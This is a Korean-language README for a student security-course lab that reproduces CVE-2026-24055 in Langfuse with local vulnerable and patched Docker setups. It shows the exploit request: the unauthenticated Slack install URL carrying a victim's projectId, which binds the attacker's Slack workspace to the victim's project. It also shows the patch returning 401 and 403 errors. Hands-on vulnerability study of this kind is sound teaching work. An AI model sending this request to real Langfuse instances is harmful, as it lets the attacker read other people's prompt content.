
Langfuse에서 인증되지 않은 Slack OAuth 설치를 대상으로 하는 교육용 CVE-2026-24055 익스플로잇 데모로, 실습형 보안 테스트를 위한 취약 및 패치된 Docker 환경을 포함합니다.
웹 및 애플리케이션 보안 과목 프로젝트 — 06팀, NT213.Q21.ANTT 반
이 프로젝트는 Langfuse 플랫폼에서 공개된 실제 보안 취약점(CVE-2026-24055)을 재현합니다. 이 취약점은 OAuth 엔드포인트로, 공격자가 로그인 없이 다른 사람의 프로젝트에 Slack 워크스페이스 연결 권한을 탈취할 수 있게 합니다.
프로젝트 구성: 취약한 버전과 패치된 버전을 모두 시뮬레이션하는 Docker 환경 구축, 단계별 공격 수행, 패치가 올바르게 작동하는지 검증. 이를 통해 OAuth 흐름에서의 Access Control 취약점 분석을 실습하며, 이는 웹 인증 시스템을 구축하거나 감사할 때 직접 적용할 수 있는 기술입니다.
보여주는 기술: OAuth2 흐름 분석, Docker, 보안 권고문 읽기, 기술 보고서 작성, 보안 테스트(security testing).
CVE-2026-24055는 Langfuse 3.89.0 버전부터 3.146.0 버전까지 존재하는 Improper Access Control 취약점입니다.
/api/public/slack/install 엔드포인트는 인증을 요구하지 않아, 공격자가 projectId만 알면 자신의 Slack 워크스페이스를 어떤 프로젝트에도 바인딩할 수 있습니다. 피해자가 Slack으로 알림을 보내는 자동화를 생성하면, 모든 프롬프트 내용이 공격자의 워크스페이스로 유출됩니다.
| 속성 | 세부 사항 |
|---|---|
| CWE | CWE-284 — Improper Access Control |
| 영향받는 버전 | Langfuse 3.89.0 – 3.146.0 |
| 패치된 버전 | Langfuse 3.147.0 |
| GitHub Advisory | GHSA-pvq7-vvfj-p98x |
| NVD | CVE-2026-24055 |

| 도구 | 최소 버전 |
|---|---|
| Docker Desktop | 24.0+ |
| Docker Compose | v2 |
| Git | 아무 버전 |
| RAM | 8 GB |
Slack API는
http://localhost:3000을 Redirect URL로 사용할 수 있게 허용합니다.
http://localhost:3000
cd vulnerable
cp .env.example .env
.env 파일을 열고 다음 값을 입력합니다:
NEXTAUTH_URL=http://localhost:3000
SLACK_CLIENT_ID=<your-slack-client-id>
SLACK_CLIENT_SECRET=<your-slack-client-secret>
SLACK_STATE_SECRET=any-random-string
docker compose up -d
컨테이너가 준비되었는지 확인:
docker compose ps
약 30–60초 기다립니다. 모든 컨테이너가
Up (healthy)상태여야 합니다.
http://localhost:3000에 접속:
피해자 계정
공격자 계정
공격자의 브라우저에서 (Langfuse 로그인 불필요), 다음에 접속:
http://localhost:3000/api/public/slack/install?projectId=<victim-project-id>
진행 과정:
피해자 계정으로 로그인:
Prompt created / updated / deletedSlack → 채널 선택cd ../vulnerable
docker compose down
cd ../patched
cp .env.example .env
# vulnerable 부분과 동일한 값 입력
docker compose up -d
로그인 없이 시도:
http://localhost:3000/api/public/slack/install?projectId=<any-project-id>
예상 결과 — HTTP 401:
{ "error": "Authentication required" }
공격자로 로그인하여 피해자의 projectId 사용:
http://localhost:3000/api/public/slack/install?projectId=<victim-project-id>
예상 결과 — HTTP 403:
{ "error": "You do not have permission to configure Slack for this project" }
취약점이 완전히 패치되었습니다.
docker compose down
모든 데이터(볼륨)를 삭제하려면:
docker compose down -v
cve-2026-24055/
├── README.md ← 이 파일
├── vulnerable/
│ ├── docker-compose.yml ← Langfuse v3.146.0 (취약함)
│ └── .env.example
└── patched/
├── docker-compose.yml ← Langfuse v3.147.0 (패치됨)
└── .env.example